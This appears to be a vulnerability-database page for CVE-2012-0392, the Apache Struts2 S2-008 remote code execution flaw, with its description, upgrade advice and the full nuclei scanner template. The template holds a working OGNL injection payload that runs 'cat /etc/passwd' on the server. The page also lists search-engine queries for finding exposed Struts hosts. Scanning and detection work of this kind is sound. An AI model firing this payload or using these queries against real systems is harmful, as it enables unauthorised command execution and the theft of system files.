HexBrain

Browse / CVEs / CVE-2012-0392

CVE-2012-0392· apache / struts· NVD-CWE-noinfo

Apache Struts2 S2-008 RCE

mediumseverity
6.8CVSS score
97.5%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

The CookieInterceptor component in Apache Struts before 2.3.1.1 does not use the parameter-name whitelist, which allows remote attackers to execute arbitrary commands via a crafted HTTP Cookie header that triggers Java code execution through a static method.

Impact

Successful exploitation of this vulnerability can lead to remote code execution on the affected server.

Fix

Developers should immediately upgrade to at least Struts 2.3.18.

How to confirm it

Send: GET {{BaseURL}}/devmode.action?debug=command&expression=(%23_memberAccess[%22allowStaticMethodAccess%22]%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22fal…
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2012-0392 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2012-0392

info:
  name: Apache Struts2 S2-008 RCE
  author: pikpikcu
  severity: medium
  description: The CookieInterceptor component in Apache Struts before 2.3.1.1 does not use the parameter-name whitelist, which allows remote attackers to execute arbitrary commands via a crafted HTTP Cookie header that triggers Java code execution through a static method.
  impact: |
    Successful exploitation of this vulnerability can lead to remote code execution on the affected server.
  remediation: Developers should immediately upgrade to at least Struts 2.3.18.
  reference:
    - https://cwiki.apache.org/confluence/display/WW/S2-008
    - https://blog.csdn.net/weixin_43416469/article/details/113850545
    - http://www.exploit-db.com/exploits/18329
    - https://lists.immunityinc.com/pipermail/dailydave/2012-January/000011.html
    - http://web.archive.org/web/20150110183326/http://secunia.com:80/advisories/47393
    - http://struts.apache.org/2.x/docs/s2-008.html
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2012-0392
    cwe-id: NVD-CWE-noinfo
    epss-score: 0.97534
    epss-percentile: 0.999
    cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: struts
    shodan-query:
      - http.html:"apache struts"
      - http.title:"struts2 showcase"
      - http.html:"struts problem report"
    fofa-query:
      - body="struts problem report"
      - title="struts2 showcase"
      - body="apache struts"
    google-query: intitle:"struts2 showcase"
  tags: cve,cve2012,apache,rce,struts,java,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/devmode.action?debug=command&expression=(%23_memberAccess[%22allowStaticMethodAccess%22]%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D%23foo%[email protected]@toString(@java.lang.Runtime@getRuntime().exec(%27cat%20/etc/passwd%27).getInputStream()))"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from